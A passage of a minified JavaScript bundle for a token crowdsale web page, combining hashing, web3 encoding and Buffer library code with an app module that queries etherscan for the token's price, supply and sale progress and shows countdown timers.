un,mn=I&X^~I&L,hn=j&F^~j&q,bn=T&S^T&C^S&C,pn=R&H^R&E^H&E,gn=(T>>>28|R<<4)^(T<<30|R>>>2)^(T<<25|R>>>7),vn=(R>>>28|T<<4)^(R<<30|T>>>2)^(R<<25|T>>>7),wn=(I>>>14|j<<18)^(I>>>18|j<<14)^(I<<23|j>>>9),xn=(j>>>14|I<<18)^(j>>>18|I<<14)^(j<<23|I>>>9),kn=l[Z],yn=kn.high,An=kn.low,zn=U+wn+((un=V+xn)>>>0<V>>>0?1:0),Pn=vn+pn;U=L,V=q,L=X,q=F,X=I,F=j,I=N+(zn=(zn=(zn=zn+mn+((un=un+hn)>>>0<hn>>>0?1:0))+yn+((un=un+An)>>>0<An>>>0?1:0))+Y+((un=un+G)>>>0<G>>>0?1:0))+((j=M+un|0)>>>0<M>>>0?1:0)|0,N=C,M=E,C=S,E=H,S=T,H=R,T=zn+(gn+bn+(Pn>>>0<vn>>>0?1:0))+((R=un+Pn|0)>>>0<un>>>0?1:0)|0}h=i.low=h+R,i.high=m+T+(h>>>0<R>>>0?1:0),p=r.low=p+H,r.high=b+S+(p>>>0<H>>>0?1:0),v=o.low=v+E,o.high=g+C+(v>>>0<E>>>0?1:0),x=a.low=x+M,a.high=w+N+(x>>>0<M>>>0?1:0),y=s.low=y+j,s.high=k+I+(y>>>0<j>>>0?1:0),z=d.low=z+F,d.high=A+X+(z>>>0<F>>>0?1:0),B=f.low=B+q,f.high=P+L+(B>>>0<q>>>0?1:0),O=u.low=O+V,u.high=D+U+(O>>>0<V>>>0?1:0)},_doFinalize:function(){var n=this._data,e=n.words,t=8*this._nDataBytes,i=8*n.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(i+128>>>10<<5)]=Math.floor(t/4294967296),e[31+(i+128>>>10<<5)]=t,n.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var n=t.clone.call(this);return n._hash=this._hash.clone(),n},blockSize:32});e.SHA512=t._createHelper(d),e.HmacSHA512=t._createHmacHelper(d)}(),n.SHA512},n.exports=i(t(0),t(14))},function(n,e,t){var i=t(2),r=function(n,e){this.value=n||"",this.offset=e};r.prototype.dynamicPartLength=function(){return this.dynamicPart().length/2},r.prototype.withOffset=function(n){return new r(this.value,n)},r.prototype.combine=function(n){return new r(this.value+n.value)},r.prototype.isDynamic=function(){return void 0!==this.offset},r.prototype.offsetAsBytes=function(){return this.isDynamic()?i.padLeft(i.toTwosComplement(this.offset).toString(16),64):""},r.prototype.staticPart=function(){return this.isDynamic()?this.offsetAsBytes():this.value},r.prototype.dynamicPart=function(){return this.isDynamic()?this.value:""},r.prototype.encode=function(){return this.staticPart()+this.dynamicPart()},r.encodeList=function(n){var e=32*n.length,t=n.map(function(n){if(!n.isDynamic())return n;var t=e;return e+=n.dynamicPartLength(),n.withOffset(t)});return t.reduce(function(n,e){return n+e.dynamicPart()},t.reduce(function(n,e){return n+e.staticPart()},""))},n.exports=r},function(n,e,t){var i=t(2),r=t(21),o=t(5),a=t(12),s=t(16),l=t(18),c=function(n,e,t){this._requestManager=n,this._params=e.inputs,this._name=i.transformToFullName(e),this._address=t,this._anonymous=e.anonymous};c.prototype.types=function(n){return this._params.filter(function(e){return e.indexed===n}).map(function(n){return n.type})},c.prototype.displayName=function(){return i.extractDisplayName(this._name)},c.prototype.typeName=function(){return i.extractTypeName(this._name)},c.prototype.signature=function(){return a(this._name)},c.prototype.encode=function(n,e){n=n||{},e=e||{};var t={};["fromBlock","toBlock"].filter(function(n){return void 0!==e[n]}).forEach(function(n){t[n]=o.inputBlockNumberFormatter(e[n])}),t.topics=[],t.address=this._address,this._anonymous||t.topics.push("0x"+this.signature());var a=this._params.filter(function(n){return!0===n.indexed}).map(function(e){var t=n[e.name];return void 0===t||null===t?null:i.isArray(t)?t.map(function(n){return"0x"+r.encodeParam(e.type,n)}):"0x"+r.encodeParam(e.type,t)});return t.topics=t.topics.concat(a),t},c.prototype.decode=function(n){n.data=n.data||"",n.topics=n.topics||[];var e=(this._anonymous?n.topics:n.topics.slice(1)).map(function(n){return n.slice(2)}).join(""),t=r.decodeParams(this.types(!0),e),i=n.data.slice(2),a=r.decodeParams(this.types(!1),i),s=o.outputLogFormatter(n);return s.event=this.displayName(),s.address=n.address,s.args=this._params.reduce(function(n,e){return n[e.name]=e.indexed?t.shift():a.shift(),n},{}),delete s.data,delete s.topics,s},c.prototype.execute=function(n,e,t){i.isFunction(arguments[arguments.length-1])&&(t=arguments[arguments.length-1],2===arguments.length&&(e=null),1===arguments.length&&(e=null,n={}));var r=this.encode(n,e),o=this.decode.bind(this);return new s(r,"eth",this._requestManager,l.eth(),o,t)},c.prototype.attachToContract=function(n){var e=this.execute.bind(this),t=this.displayName();n[t]||(n[t]=e),n[t][this.typeName()]=this.execute.bind(this,n)},n.exports=c},function(n,e){var t={messageId:0,toPayload:function(n,e){return n||console.error("jsonrpc method should be specified!"),t.messageId++,{jsonrpc:"2.0",id:t.messageId,method:n,params:e||[]}},isValidResponse:function(n){return Array.isArray(n)?n.every(e):e(n);function e(n){return!!n&&!n.error&&"2.0"===n.jsonrpc&&"number"==typeof n.id&&void 0!==n.result}},toBatchPayload:function(n){return n.map(function(n){return t.toPayload(n.method,n.params)})}};n.exports=t},function(n,e){var t;t=function(){return this}();try{t=t||Function("return this")()||(0,eval)("this")}catch(n){"object"==typeof window&&(t=window)}n.exports=t},function(n,e,t){var i=t(57);"string"==typeof i&&(i=[[n.i,i,""]]);t(65)(i,{});i.locals&&(n.exports=i.locals)},function(n,e,t){var i=t(77);"undefined"!=typeof window&&void 0===window.Web3&&(window.Web3=i),n.exports=i},function(n,e,t){"use strict";t(29),document.addEventListener("DOMContentLoaded",function(){var n=Array.prototype.slice.call(document.querySelectorAll(".navbar-burger"),0);n.length>0&&n.forEach(function(n){n.addEventListener("click",function(){var e=n.dataset.target,t=document.getElementById(e);n.classList.toggle("is-active"),t.classList.toggle("is-active")})})});var i=new(t(30)),r="0x2E8722D35C29462aB4C8fF0A0369B8eFf901bb15";window.App={checkZxbAmount:function(){var n=document.getElementById("recipient-address").value.trim();if(console.log("addr: ",n),n&&42==n.length){var e="https://etherscan.io/token/"+r+"?a="+n;console.log("url:",e),window.open(e,"_blank")}else{"EN"==document.getElementById("locale-btn").innerHTML?alert("无效的地址!"):alert("Invalid address!")}},etherScan:function(){var n="8ER6375MA66HPXPHEXST3RNM9EK84NYH1I",e=i.sha3("price()"),t=i.sha3("totalSupply()"),o=i.sha3("soldQty()"),a=(i.sha3("ethQty()"),i.sha3("firstBlockSeq()")),s="https://api.etherscan.io/api?module=proxy&action=eth_call&to="+r+"&data="+e+"&tag=latest&apikey="+n,l="https://api.etherscan.io/api?module=proxy&action=eth_call&to="+r+"&data="+t+"&tag=latest&apikey="+n,c="https://api.etherscan.io/api?module=proxy&action=eth_call&to="+r+"&data="+o+"&tag=latest&apikey="+n,d="https://api.etherscan.io/api?module=proxy&action=eth_call&to="+r+"&data="+a+"&tag=latest&apikey="+n,f="https://api.etherscan.io/api?module=proxy&action=eth_blockNumber&apikey="+n,u=0,m=150,h=0,b=new Date(Date.UTC(2018,9,1)),p=new Date(Date.UTC(2018,9,31)),g=b.getTime(),v=p.getTime(),w=0;function x(){fetch(f).then(function(n){return n.json()}).then(function(n){console.log("block number : ",n.result);var e=parseInt(n.result,16);w=e}),fetch(s).then(function(n){return n.json()}).then(function(n){console.log("price: ",n.result);var e=parseInt(n.result,16),t=(e=Math.round(e/1e18))-5e3;document.getElementById("bonus-value").textContent=t.toLocaleString(),document.getElementById("current-rate").textContent=e.toLocaleString()}),fetch(c).then(function(n){return n.json()}).then(function(n){console.log("token issued: ",n.result);var e=parseInt(n.result,16);e=Math.round(e/1e18),document.getElementById("token-sold").textContent=e.toLocaleString(),e;var t=Math.round(e/2e6).toLocaleString();console.log("Percentage: ",t),document.getElementById("sale-progress").setAttribute("value",t),document.getElementById("achieved").textContent=t+"%"}),fetch(l).then(function(n){return n.json()}).then(function(n){console.log("total supply: ",n.result);var e=parseInt(n.result,16);e=Math.round(e/1e18),e/=2});u>0&&w>=u?h>=12e4||w-u>m?document.getElementById("ico-status").textContent="Our crowdsale is close. Thanks for your kindly support!":(document.getElementById("ico-status").textContent="Our crowdsale will be close after",document.getElementById("start_or_end").style.display="none",k(v)):(fetch(d).then(function(n){return n.json()}).then(function(n){console.log("firstBlockApi: ",n.result);var e=parseInt(n.result,16);e>0&&(u=e)}),document.getElementById("ico-status").textContent="The presale is now open. Please contact us for details. The public sale will start after",document.getElementById("start_or_end").style.display="block",u&&(document.getElementById("start_or_end").textContent="",k(g)))}function k(n){var e=n,t=setInterval(function(){var n=new Date,i=e-n.getTime(),r=Math.floor(i/864e5),o=Math.floor(i%864e5/36e5),a=Math.floor(i%36e5/6e4),s=Math.floor(i%6e4/1e3);document.getElementById("days").innerHTML=r+"d "+o+"h "+a+"m "+s+"s ",i<0&&(clearInterval(t),document.getElementById("days").innerHTML="EXPIRED")},1e3)}document.getElementById("begin-date").textContent=b.toString(),document.getElementById("end-date").textContent=p.toString(),x(),setTimeout(function(){x()},1e3),setTimeout(function(){x()},3e3),setTimeout(function(){x()},5e3),setInterval(function(){x()},15e3)}},window.addEventListener("load",function(){particlesJS.load("particles-js","particles.json",function(){console.log("callback - particles.js config loaded")}),App.etherScan()})},function(n,e,t){"use strict";e.byteLength=function(n){return 3*n.length/4-c(n)},e.toByteArray=function(n){var e,t,i,a,s,l=n.length;a=c(n),s=new o(3*l/4-a),t=a>0?l-4:l;var d=0;for(e=0;e<t;e+=4)i=r[n.charCodeAt(e)]<<18|r[n.charCodeAt(e+1)]<<12|r[n.charCodeAt(e+2)]<<6|r[n.charCodeAt(e+3)],s[d++]=i>>16&255,s[d++]=i>>8&255,s[d++]=255&i;2===a?(i=r[n.charCodeAt(e)]<<2|r[n.charCodeAt(e+1)]>>4,s[d++]=255&i):1===a&&(i=r[n.charCodeAt(e)]<<10|r[n.charCodeAt(e+1)]<<4|r[n.charCodeAt(e+2)]>>2,s[d++]=i>>8&255,s[d++]=255&i);return s},e.fromByteArray=function(n){for(var e,t=n.length,r=t%3,o="",a=[],s=0,l=t-r;s<l;s+=16383)a.push(d(n,s,s+16383>l?l:s+16383));1===r?(e=n[t-1],o+=i[e>>2],o+=i[e<<4&63],o+="=="):2===r&&(e=(n[t-2]<<8)+n[t-1],o+=i[e>>10],o+=i[e>>4&63],o+=i[e<<2&63],o+="=");return a.push(o),a.join("")};for(var i=[],r=[],o="undefined"!=typeof Uint8Array?Uint8Array:Array,a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",s=0,l=a.length;s<l;++s)i[s]=a[s],r[a.charCodeAt(s)]=s;function c(n){var e=n.length;if(e%4>0)throw new Error("Invalid string. Length must be a multiple of 4");return"="===n[e-2]?2:"="===n[e-1]?1:0}function d(n,e,t){for(var r,o,a=[],s=e;s<t;s+=3)r=(n[s]<<16&16711680)+(n[s+1]<<8&65280)+(255&n[s+2]),a.push(i[(o=r)>>18&63]+i[o>>12&63]+i[o>>6&63]+i[63&o]);return a.join("")}r["-".charCodeAt(0)]=62,r["_".charCodeAt(0)]=63},function(n,e,t){"use strict";(function(n){var i=t(32),r=t(59),o=t(60);function a(){return l.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function s(n,e){if(a()<e)throw new RangeError("Invalid typed array length");return l.TYPED_ARRAY_SUPPORT?(n=new Uint8Array(e)).__proto__=l.prototype:(null===n&&(n=new l(e)),n.length=e),n}function l(n,e,t){if(!(l.TYPED_ARRAY_SUPPORT||this instanceof l))return new l(n,e,t);if("number"==typeof n){if("string"==typeof e)throw new Error("If encoding is specified then the first argument must be a string");return f(this,n)}return c(this,n,e,t)}function c(n,e,t,i){if("number"==typeof e)throw new TypeError('"value" argument must not be a number');return"undefined"!=typeof ArrayBuffer&&e instanceof ArrayBuffer?function(n,e,t,i){if(e.byteLength,t<0||e.byteLength<t)throw new RangeError("'offset' is out of bounds");if(e.byteLength<t+(i||0))throw new RangeError("'length' is out of bounds");e=void 0===t&&void 0===i?new Uint8Array(e):void 0===i?new Uint8Array(e,t):new Uint8Array(e,t,i);l.TYPED_ARRAY_SUPPORT?(n=e).__proto__=l.prototype:n=u(n,e);return n}(n,e,t,i):"string"==typeof e?function(n,e,t){"string"==typeof t&&""!==t||(t="utf8");if(!l.isEncoding(t))throw new TypeError('"encoding" must be a valid string encoding');var i=0|h(e,t),r=(n=s(n,i)).write(e,t);r!==i&&(n=n.slice(0,r));return n}(n,e,t):function(n,e){if(l.isBuffer(e)){var t=0|m(e.length);return 0===(n=s(n,t)).length?n:(e.copy(n,0,0,t),n)}if(e){if("undefined"!=typeof ArrayBuffer&&e.buffer instanceof ArrayBuffer||"length"in e)return"number"!=typeof e.length||(i=e.length)!=i?s(n,0):u(n,e);if("Buffer"===e.type&&o(e.data))return u(n,e.data)}var i;throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}(n,e)}function d(n){if("number"!=typeof n)throw new TypeError('"size" argument must be a number');if(n<0)throw new RangeError('"size" argument must not be negative')}function f(n,e){if(d(e),n=s(n,e<0?0:0|m(e)),!l.TYPED_ARRAY_SUPPORT)for(var t=0;t<e;++t)n[t]=0;return n}function u(n,e){var t=e.length<0?0:0|m(e.length);n=s(n,t);for(var i=0;i<t;i+=1)n[i]=255&e[i];return n}function m(n){if(n>=a())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+a().toString(16)+" bytes");return 0|n}function h(n,e){if(l.isBuffer(n))return n.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(n)||n instanceof ArrayBuffer))return n.byteLength;"string"!=typeof n&&(n=""+n);var t=n.length;if(0===t)return 0;for(var i=!1;;)switch(e){case"ascii":case"latin1":case"binary":return t;case"utf8":case"utf-8":case void 0:return F(n).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*t;case"hex":return t>>>1;case"base64":return L(n).length;default:if(i)return F(n).length;e=(""+e).toLowerCase(),i=!0}}function b(n,e,t){var i=n[e];n[e]=n[t],n[t]=i}function p(n,e,t,i,r){if(0===n.length)return-1;if("string"==typeof t?(i=t,t=0):t>2147483647?t=2147483647:t<-2147483648&&(t=-2147483648),t=+t,isNaN(t)&&(t=r?0:n.length-1),t<0&&(t=n.length+t),t>=n.length){if(r)return-1;t=n.length-1}else if(t<0){if(!r)return-1;t=0}if("string"==typeof e&&(e=l.from(e,i)),l.isBuffer(e))return 0===e.length?-1:g(n,e,t,i,r);if("number"==typeof e)return e&=255,l.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?r?Uint8Array.prototype.indexOf.call(n,e,t):Uint8Array.prototype.lastIndexOf.call(n,e,t):g(n,[e],t,i,r);throw new TypeError("val must be string, number or Buffer")}function g(n,e,t,i,r){var o,a=1,s=n.length,l=e.length;if(void 0!==i&&("ucs2"===(i=String(i).toLowerCase())||"ucs-2"===i||"utf16le"===i||"utf-16le"===i)){if(n.length<2||e.length<2)return-1;a=2,s/=2,l/=2,t/=2}function c(n,e){return 1===a?n[e]:n.readUInt16BE(e*a)}if(r){var d=-1;for(o=t;o<s;o++)if(c(n,o)===c(e,-1===d?0:o-d)){if(-1===d&&(d=o),o-d+1===l)return d*a}else-1!==d&&(o-=o-d),d=-1}else for(t+l>s&&(t=s-l),o=t;o>=0;o--){for(var f=!0,u=0;u<l;u++)if(c(n,o+u)!==c(e,u)){f=!1;break}if(f)return o}return-1}function v(n,e,t,i){t=Number(t)||0;var r=n.length-t;i?(i=Number(i))>r&&(i=r):i=r;var o=e.length;if(o%2!=0)throw new TypeError("Invalid hex string");i>o/2&&(i=o/2);for(var a=0;a<i;++a){var s=parseInt(e.substr(2*a,2),16);if(isNaN(s))return a;n[t+a]=s}return a}function w(n,e,t,i){return q(F(e,n.length-t),n,t,i)}function x(n,e,t,i){return q(function(n){for(var e=[],t=0;t<n.length;++t)e.push(255&n.charCodeAt(t));return e}(e),n,t,i)}function k(n,e,t,i){return x(n,e,t,i)}function y(n,e,t,i){return q(L(e),n,t,i)}function A(n,e,t,i){return q(function(n,e){for(var t,i,r,o=[],a=0;a<n.length&&!((e-=2)<0);++a)t=n.charCodeAt(a),i=t>>8,r=t%256,o.push(r),o.push(i);return o}(e,n.length-t),n,t,i)}function z(n,e,t){return 0===e&&t===n.length?i.fromByteArray(n):i.fromByteArray(n.slice(e,t))}function P(n,e,t){t=Math.min(n.length,t);for(var i=[],r=e;r<t;){var o,a,s,l,c=n[r],d=null,f=c>239?4:c>223?3:c>191?2:1;if(r+f<=t)switch(f){case 1:c<128&&(d=c);break;case 2:128==(192&(o=n[r+1]))&&(l=(31&c)<<6|63&o)>127&&(d=l);break;case 3:o=n[r+1],a=n[r+2],128==(192&o)&&128==(192&a)&&(l=(15&c)<<12|(63&o)<<6|63&a)>2047&&(l<55296||l>57343)&&(d=l);break;case 4:o=n[r+1],a=n[r+2],s=n[r+3],128==(192&o)&&128==(192&a)&&128==(192&s)&&(l=(15&c)<<18|(63&o)<<12|(63&a)<<6|63&s)>65535&&l<1114112&&(d=l)}null===d?(d=65533,f=1):d>65535&&(d-=65536,i.push(d>>>10&1023|55296),d=56320|1023&d),i.push(d),r+=f}return function(n){var e=n.length;if(e<=B)return String.fromCharCode.apply(String,n);var t="",i=0;for(;i<e;)t+=String.fromCharCode.apply(String,n.slice(i,i+=B));return t}(i)}e.Buffer=l,e.SlowBuffer=function(n){+n!=n&&(n=0);return l.alloc(+n)},e.INSPECT_MAX_BYTES=50,l.TYPED_ARRAY_SUPPORT=void 0!==n.TYPED_ARRAY_SUPPORT?n.TYPED_ARRAY_SUPPORT:function(){try{var n=new Uint8Array(1);return n.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===n.foo()&&"function"==typeof n.subarray&&0===n.subarray(1,1).byteLength}catch(n){return!1}}(),e.kMaxLength=a(),l.poolSize=8192,l._augment=function(n){return n.__proto__=l.prototype,n},l.from=function(n,e,t){return c(null,n,e,t)},l.TYPED_ARRAY_SUPPORT&&(l.prototype.__proto__=Uint8Array.prototype,l.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&l[Symbol.species]===l&&Object.defineProperty(l,Symbol.species,{value:null,configurable:!0})),l.alloc=function(n,e,t){return function(n,e,t,i){return d(e),e<=0?s(n,e):void 0!==t?"string"==typeof i?s(n,e).fill(t,i):s(n,e).fill(t):s(n,e)}(null,n,e,t)},l.allocUnsafe=function(n){return f(null,n)},l.allocUnsafeSlow=function(n){return f(null,n)},l.isBuffer=function(n){return!(null==n||!n._isBuffer)},l.compare=function(n,e){if(!l.isBuffer(n)||!l.isBuffer(e))throw new TypeError("Arguments must be Buffers");if(n===e)return 0;for(var t=n.length,i=e.length,r=0,o=Math.min(t,i);r<o;++r)if(n[r]!==e[r]){t=n[r],i=e[r];break}return t<i?-1:i<t?1:0},l.isEncoding=function(n){switch(String(n).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},l.concat=function(n,e){if(!o(n))throw new TypeError('"list" argument must be an Array of Buffers');if(0===n.length)return l.alloc(0);var t;if(void 0===e)for(e=0,t=0;t<n.length;++t)e+=n[t].length;var i=l.allocUnsafe(e),r=0;for(t=0;t<n.length;++t){var a=n[t];if(!l.isBuffer(a))throw new TypeError('"list" argument must be an Array of Buffers');a.copy(i,r),r+=a.length}return i},l.byteLength=h,l.prototype._isBuffer=!0,l.prototype.swap16=function(){var n=this.length;if(n%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var e=0;e<n;e+=2)b(this,e,e+1);return this},l.prototype.swap32=function(){var n=this.length;if(n%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var e=0;e<n;e+=4)b(this,e,e+3),b(this,e+1,e+2);return this},l.prototype.swap64=function(){var n=this.length;if(n%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var e=0;e<n;e+=8)b(this,e,e+7),b(this,e+1,e+6),b(this,e+2,e+5),b(this,e+3,e+4);return this},l.prototype.toString=function(){var n=0|this.length;return 0===n?"":0===arguments.length?P(this,0,n):function(n,e,t){var i=!1;if((void 0===e||e<0)&&(e=0),e>this.length)return"";if((void 0===t||t>this.length)&&(t=this.length),t<=0)return"";if((t>>>=0)<=(e>>>=0))return"";for(n||(n="utf8");;)switch(n){case"hex":return T(this,e,t);case"utf8":case"utf-8":return P(this,e,t);case"ascii":return D(this,e,t);case"latin1":case"binary":return O(this,e,t);case"base64":return z(this,e,t);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return R(this,e,t);default:if(i)throw new TypeError("Unknown encoding: "+n);n=(n+"").toLowerCase(),i=!0}}.apply(this,arguments)},l.prototype.equals=function(n){if(!l.isBuffer(n))throw new TypeError("Argument must be a Buffer");return this===n||0===l.compare(this,n)},l.prototype.inspect=function(){var n="",t=e.INSPECT_MAX_BYTES;return this.length>0&&(n=this.toString("hex",0,t).match(/.{2}/g).join(" "),this.length>t&&(n+=" ... ")),"<Buffer "+n+">"},l.prototype.compare=function(n,e,t,i,r){if(!l.isBuffer(n))throw new TypeError("Argument must be a Buffer");if(void 0===e&&(e=0),void 0===t&&(t=n?n.length:0),void 0===i&&(i=0),void 0===r&&(r=this.length),e<0||t>n.length||i<0||r>this.length)throw new RangeError("out of range index");if(i>=r&&e>=t)return 0;if(i>=r)return-1;if(e>=t)return 1;if(e>>>=0,t>>>=0,i>>>=0,r>>>=0,this===n)return 0;for(var o=r-i,a=t-e,s=Math.min(o,a),c=this.slice(i,r),d=n.slice(e,t),f=0;f<s;++f)if(c[f]!==d[f]){o=c[f],a=d[f];break}return o<a?-1:a<o?1:0},l.prototype.includes=function(n,e,t){return-1!==this.indexOf(n,e,t)},l.prototype.indexOf=function(n,e,t){return p(this,n,e,t,!0)},l.prototype.lastIndexOf=function(n,e,t){return p(this,n,e,t,!1)},l.prototype.write=function(n,e,t,i){if(void 0===e)i="utf8",t=this.length,e=0;else if(void 0===t&&"string"==typeof e)i=e,t=this.length,e=0;else{if(!isFinite(e))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");e|=0,isFinite(t)?(t|=0,void 0===i&&(i="utf8")):(i=t,t=void 0)}var r=this.length-e;if((void 0===t||t>r)&&(t=r),n.length>0&&(t<0||e<0)||e>this.length)throw new RangeError("Attempt to write outside buffer bounds");i||(i="utf8");for(var o=!1;;)switch(i){case"hex":return v(this,n,e,t);case"utf8":case"utf-8":return w(this,n,e,t);case"ascii":return x(this,n,e,t);case"latin1":case"binary":return k(this,n,e,t);case"base64":return y(this,n,e,t);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return A(this,n,e,t);default:if(o)throw new TypeError("Unknown encoding: "+i);i=(""+i).toLowerCase(),o=!0}},l.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var B=4096;function D(n,e,t){var i="";t=Math.min(n.length,t);for(var r=e;r<t;++r)i+=String.fromCharCode(127&n[r]);return i}function O(n,e,t){var i="";t=Math.min(n.length,t);for(var r=e;r<t;++r)i+=String.fromCharCode(n[r]);return i}function T(n,e,t){var i=n.length;(!e||e<0)&&(e=0),(!t||t<0||t>i)&&(t=i);for(var r="",o=e;o<t;++o)r+=X(n[o]);return r}function R(n,e,t){for(var i=n.slice(e,t),r="",o=0;o<i.length;o+=2)r+=String.fromCharCode(i[o]+256*i[o+1]);return r}function S(n,e,t){if(n%1!=0||n<0)throw new RangeError("offset is not uint");if(n+e>t)throw new RangeError("Trying to access beyond buffer length")}function H(n,e,t,i,r,o){if(!l.isBuffer(n))throw new TypeError('"buffer" argument must be a Buffer instance');if(e>r||e<o)throw new RangeError('"value" argument is out of bounds');if(t+i>n.length)throw new RangeError("Index out of range")}function C(n,e,t,i){e<0&&(e=65535+e+1);for(var r=0,o=Math.min(n.length-t,2);r<o;++r)n[t+r]=(e&255<<8*(i?r:1-r))>>>8*(i?r:1-r)}function E(n,e,t,i){e<0&&(e=4294967295+e+1);for(var r=0,o=Math.min(n.length-t,4);r<o;++r)n[t+r]=e>>>8*(i?r:3-r)&255}function N(n,e,t,i,r,o){if(t+i>n.length)throw new RangeError("Index out of range");if(t<0)throw new RangeError("Index out of range")}function M(n,e,t,i,o){return o||N(n,0,t,4),r.write(n,e,t,i,23,4),t+4}function I(n,e,t,i,o){return o||N(n,0,t,8),r.write(n,e,t,i,52,8),t+8}l.prototype.slice=function(n,e){var t,i=this.length;if(n=~~n,e=void 0===e?i:~~e,n<0?(n+=i)<0&&(n=0):n>i&&(n=i),e<0?(e+=i)<0&&(e=0):e>i&&(e=i),e<n&&(e=n),l.TYPED_ARRAY_SUPPORT)(t=this.subarray(n,e)).__proto__=l.prototype;else{var r=e-n;t=new l(r,void 0);for(var o=0;o<r;++o)t[o]=this[o+n]}return t},l.prototype.readUIntLE=function(n,e,t){n|=0,e|=0,t||S(n,e,this.length);for(var i=this[n],r=1,o=0;++o<e&&(r*=256);)i+=this[n+o]*r;return i},l.prototype.readUIntBE=function(n,e,t){n|=0,e|=0,t||S(n,e,this.length);for(var i=this[n+--e],r=1;e>0&&(r*=256);)i+=this[n+--e]*r;return i},l.prototype.readUInt8=function(n,e){return e||S(n,1,this.length),this[n]},l.prototype.readUInt16LE=function(n,e){return e||S(n,2,this.length),this[n]|this[n+1]<<8},l.prototype.readUInt16BE=function(n,e){return e||S(n,2,this.length),this[n]<<8|this[n+1]},l.prototype.readUInt32LE=function(n,e){return e||S(n,4,this.length),(this[n]|this[n+1]<<8|this[n+2]<<16)+16777216*this[n+3]},l.prototype.readUInt32BE=function(n,e){return e||S(n,4,this.length),16777216*this[n]+(this[n+1]<<16|this[n+2]<<8|this[n+3])},l.prototype.readIntLE=function(n,e,t){n|=0,e|=0,t||S(n,e,this.length);for(var i=this[n],r=1,o=0;++o<e&&(r*=256);)i+=this[n+o]*r;return i>=(r*=128)&&(i-=Math.pow(2,8*e)),i},l.prototype.readIntBE=function(n,e,t){n|=0,e|=0,t||S(n,e,this.length);for(var i=e,r=1,o=this[n+--i];i>0&&(r*=256);)o+=this[n+--i]*r;return o>=(r*=128)&&(o-=Math.pow(2,8*e)),o},l.prototype.readInt8=function(n,e){return e||S(n,1,this.length),128&this[n]?-1*(255-this[n]+1):this[n]},l.prototype.readInt16LE=function(n,e){e||S(n,2,this.length);var t=this[n]|this[n+1]<<8;return 32768&t?4294901760|t:t},l.prototype.readInt16BE=function(n,e){e||S(n,2,this.length);var t=this[n+1]|this[n]<<8;return 32768&t?4294901760|t:t},l.prototype.readInt32LE=function(n,e){return e||S(n,4,this.length),this[n]|this[n+1]<<8|this[n+2]<<16|this[n+3]<<24},l.prototype.readInt32BE=function(n,e){return e||S(n,4,this.length),this[n]<<24|this[n+1]<<16|this[n+2]<<8|this[n+3]},l.prototype.readFloatLE=function(n,e){return e||S(n,4,this.length),r.read(this,n,!0,23,4)},l.prototype.readFloatBE=function(n,e){return e||S(n,4,this.length),r.read(this,n,!1,23,4)},l.prototype.readDoubleLE=function(n,e){return e||S(n,8,this.length),r.read(this,n,!0,52,8)},l.prototype.readDoubleBE=function(n,e){return e||S(n,8,this.length),r.read(this,n,!1,52,8)},l.prototype.writeUIntLE=function(n,e,t,i){(n=+n,e|=0,t|=0,i)||H(this,n,e,t,Math.pow(2,8*t)-1,0);var r=1,o=0;for(this[e]=255&n;++o<t&&(r*=256);)this[e+o]=n/r&255;return e+t},l.prototype.writeUIntBE=function(n,e,t,i){(n=+n,e|=0,t|=0,i)||H(this,n,e,t,Math.pow(2,8*t)-1,0);var r=t-1,o=1;for(this[e+r]=255&n;--r>=0&&(o*=256);)this[e+r]=n/o&255;return e+t},l.prototype.writeUInt8=function(n,e,t){return n=+n,e|=0,t||H(this,n,e,1,255,0),l.TYPED_ARRAY_SUPPORT||(n=Math.floor(n)),this[e]=255&n,e+1},l.prototype.writeUInt16LE=function(n,e,t){return n=+n,e|=0,t||H(this,n,e,2,65535,0),l.TYPED_ARRAY_SUPPORT?(this[e]=255&n,this[e+1]=n>>>8):C(this,n,e,!0),e+2},l.prototype.writeUInt16BE=function(n,e,t){return n=+n,e|=0,t||H(this,n,e,2,65535,0),l.TYPED_ARRAY_SUPPORT?(this[e]=n>>>8,this[e+1]=255&n):C(this,n,e,!1),e+2},l.prototype.writeUInt32LE=function(n,e,t){return n=+n,e|=0,t||H(this,n,e,4,4294967295,0),l.TYPED_ARRAY_SUPPORT?(this[e+3]=n>>>24,this[e+2]=n>>>16,this[e+1]=n>>>8,this[e]=255&n):E(this,n,e,!0),e+4},l.prototype.writeUInt32BE=function(n,e,t){return n=+n,e|=0,t||H(this,n,e,4,4294967295,0),l.TYPED_ARRAY_SUPPORT?(this[e]=n>>>24,this[e+1]=n>>>16,this[e+2]=n>>>8,this[e+3]=255&n):E(this,n,e,!1),e+4},l.prototype.writeIntLE=function(n,e,t,i){if(n=+n,e|=0,!i){var r=Math.pow(2,8*t-1);H(this,n,e,t,r-1,-r)}var o=0,a=1,s=0;for(this[e]=255&n;++o<t&&(a*=256);)n<0&&0===s&&0!==this[e+o-1]&&(s=1),this[e+o]=(n/a>>0)-s&255;return e+t},l.prototype.writeIntBE=function(n,e,t,i){if(n=+n,e|=0,!i){var r=Math.pow(2,8*t-1);H(this,n,e,t,r-1,-r)}var 